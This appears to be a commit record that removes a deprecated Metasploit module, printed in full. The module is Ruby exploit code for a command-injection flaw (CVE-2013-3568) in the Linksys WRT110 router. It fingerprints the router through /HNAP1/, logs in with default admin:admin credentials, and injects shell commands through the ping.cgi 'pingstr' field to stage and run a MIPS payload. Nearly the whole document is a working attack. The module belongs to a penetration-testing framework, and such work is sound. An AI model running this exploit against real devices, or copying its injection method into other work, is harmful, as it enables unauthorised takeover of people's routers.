Land #2833, rm linksys_wrt110_cmd_exec_stager
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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# handle module misnomer
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require 'msf/core/module/deprecated'
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include Msf::Module::Deprecated
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deprecated Date.new(2013, 12, 7), 'exploit/linux/http/linksys_wrt110_cmd_exec'
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStagerEcho
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys WRT110 Remote Command Execution',
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'Description' => %q{
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The Linksys WRT110 consumer router is vulnerable to a command injection
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exploit in the ping field of the web interface.
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},
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'Author' =>
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[
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'Craig Young', # Vulnerability discovery
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'joev', # msf module
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'juan vazquez' # module help + echo cmd stager
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-3568'],
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['BID', '61151'],
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['URL', 'http://seclists.org/bugtraq/2013/Jul/78']
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],
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'DisclosureDate' => 'Jul 12 2013',
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'Privileged' => true,
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'Platform' => ['linux'],
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'Arch' => ARCH_MIPSLE,
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'Targets' =>
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[
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['Linux mipsel Payload', { } ]
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],
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'DefaultTarget' => 0,
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))
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register_options([
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OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']),
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OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),
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OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']),
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OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20])
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], self.class)
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end
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def check
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begin
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res = send_request_cgi({
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'uri' => '/HNAP1/'
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})
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Safe
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end
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if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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test_login!
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execute_cmdstager
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end
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# Sends an HTTP request with authorization header to the router
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# Raises an exception unless the login is successful
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def test_login!
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print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}")
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res = send_auth_request_cgi({
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'uri' => '/',
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'method' => 'GET'
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})
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if not res or res.code == 401 or res.code == 404
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}")
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else
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print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}")
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end
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end
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# Run the command on the router
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def execute_command(cmd, opts)
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send_auth_request_cgi({
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'uri' => '/ping.cgi',
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'method' => 'POST',
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'vars_post' => {
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'pingstr' => '& ' + cmd
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}
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})
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Rex.sleep(1) # Give the device a second
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end
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# Helper methods
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def user; datastore['USERNAME']; end
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def pass; datastore['PASSWORD'] || ''; end
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def send_auth_request_cgi(opts={}, timeout=nil)
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timeout ||= datastore['TIMEOUT']
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opts.merge!('authorization' => basic_auth(user, pass))
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begin
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send_request_cgi(opts, timeout)
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
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end
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end
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end
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